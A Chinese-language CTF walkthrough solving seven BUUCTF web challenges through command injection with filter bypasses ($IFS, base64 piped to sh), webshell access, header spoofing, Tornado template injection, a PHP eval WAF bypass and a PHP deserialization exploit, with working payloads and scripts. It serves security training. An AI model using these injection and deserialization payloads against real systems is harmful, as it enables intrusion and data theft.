Web安全CTF挑战解题教程
目录
- [ACTF2020 新生赛]Exec
- [GXYCTF2019]Ping Ping Ping
- [极客大挑战 2019]Knife
- [极客大挑战 2019]Http
- [护网杯 2018]easy_tornado
- [RoarCTF 2019]Easy Calc
- [极客大挑战 2019]PHP
1. [ACTF2020 新生赛]Exec
题目分析
- 目标URL: http://cc3c6c27-e2df-4665-baba-1d9a32dc963e.node3.buuoj.cn/
- 首页显示一个简单的ping功能
解题步骤
- 使用管道符执行系统命令:
127.0.0.1 | cat /flag - 其他可用管道符:
||: 逻辑或,前面命令失败则执行后面abc || cat /flag&: 按位与,前后命令都执行127.0.0.1 & cat /flag&&: 逻辑与,前面成功才执行后面ping 127.0.0.1 && whoami;: Linux下与&作用相同127.0.0.1 ; cat /flag
获取flag
127.0.0.1 | cat /flag
得到flag: flag{546c33d7-aa0d-4a05-90b6-33adbd281b2b}
2. [GXYCTF2019]Ping Ping Ping
题目分析
- 目标URL: http://a98acfbb-1ead-49d9-92cf-1ee91c136948.node3.buuoj.cn/
- 提示
/?ip=,猜测需要传入ip参数执行ping
解题步骤
-
测试基本命令:
?ip=127.0.0.1;ls发现flag.php文件
-
尝试读取flag.php:
?ip=127.0.0.1;cat flag.php发现过滤了空格
-
绕过空格过滤的方法:
$IFS${IFS}$IFS$1($1可替换为其他数字)<或<>{cat,flag.php}(用逗号代替空格)%20或%09(URL编码)
-
尝试:
?ip=127.0.0.1|cat$IFS$1flag.php发现过滤了"flag"关键词
-
查看index.php源码:
?ip=127.0.0.1;cat$IFS$1index.php发现过滤规则:
- 过滤特殊符号
- 过滤空格
- 过滤bash
- 过滤flag关键词
绕过方法
-
变量覆盖:
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php查看源码得到flag
-
使用ls结果作为参数:
?ip=127.0.0.1;cat$IFS$9`ls` -
Base64编码执行:
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh -
内联执行:
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
获取flag
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
查看源码得到flag: flag{9c0ba8cc-cc60-43d2-8b87-e964e62fb538}
3. [极客大挑战 2019]Knife
题目分析
- 目标URL: http://4b56ebf3-6873-4471-a9df-bc3fd9804168.node3.buuoj.cn/
- 提示使用"菜刀"连接,密码为Syc
解题步骤
- 使用中国菜刀连接
- 密码填写Syc
- 连接成功后查看文件
获取flag
在虚拟终端执行:
cat flag
得到flag: flag{749bca20-c6f1-44b0-b941-7d4f062e8323}
4. [极客大挑战 2019]Http
题目分析
- 目标URL: http://node3.buuoj.cn:25490/
- 查看源码发现Secret.php
解题步骤
- 访问Secret.php
- 按要求修改HTTP头:
- 添加Referer: https://www.Sycsecret.com
- 修改User-Agent为Syclover
- 添加X-Forwarded-For: 127.0.0.1
请求包构造
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25490
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
获取flag
发送构造的请求后得到flag: flag{cb30a0b2-0822-43a2-8964-b55bffa0afe6}
5. [护网杯 2018]easy_tornado
题目分析
- 目标URL: http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/
- 页面有三个链接,分别显示:
- flag在/fllllllllllllag
- render
- md5(cookie_secret+md5(filename))
解题步骤
-
测试模板注入:
/error?msg={{1*2}}成功执行
-
获取cookie_secret:
/error?msg={{handler.settings}}得到
40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d -
计算filehash:
- filename: /fllllllllllllag
- cookie_secret: 40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d
- 计算md5(filename)
- 计算md5(cookie_secret + md5(filename))
Python计算脚本
import hashlib
filename = '/fllllllllllllag'
cookie_secret = "40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d"
hash = hashlib.md5()
hash.update(filename.encode('utf-8'))
s1 = hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret + s1).encode('utf-8'))
print(hash.hexdigest())
得到: 0e68f61488cca5aad0677cad0f8b8e8e
获取flag
构造URL:
/file?filename=/fllllllllllllag&filehash=0e68f61488cca5aad0677cad0f8b8e8e
得到flag: flag{44570899-653f-48eb-be17-2f57febc0580}
6. [RoarCTF 2019]Easy Calc
题目分析
- 目标URL: http://node3.buuoj.cn:26897/
- 查看源码发现calc.php
解题步骤
- 查看calc.php源码:
<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '
\[', ' \]
'];
foreach (\(blacklist as \)blackitem) {
if (preg_match('/' . \(blackitem . '/m', \)str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
2. 利用PHP字符串解析特性绕过WAF:
- 在num前加空格:` num`
3. 扫描目录:
calc.php?%20num=1;var_dump(scandir(chr(47)))
发现flagg文件
4. 读取文件:
calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
### 获取flag
得到flag: `flag{cd181f15-8fca-45b2-9a03-1d881341575b}`
## 7. [极客大挑战 2019]PHP
### 题目分析
- 目标URL: http://91af9009-330e-4d76-af66-be9057e8ad64.node3.buuoj.cn/
- 提示有备份网站习惯,扫描发现www.zip
### 解题步骤
1. 下载www.zip,解压得到源码
2. 分析index.php:
```php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
-
分析class.php:
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { die("NO!!!hacker!!!"); } if ($this->username === 'admin') { global $flag; echo $flag; } } } ?> -
利用CVE-2016-7124绕过__wakeup():
- 当成员属性数目大于实际数目时可绕过wakeup方法
构造payload
-
序列化脚本:
<?php class Name { private $username = 'admin'; private $password = '100'; } $a = new Name(); echo urlencode(serialize($a)); ?>输出:
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D -
修改属性数目为3:
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
获取flag
得到flag: flag{89b1bbec-caf4-40ef-9f7f-6aa54620c140}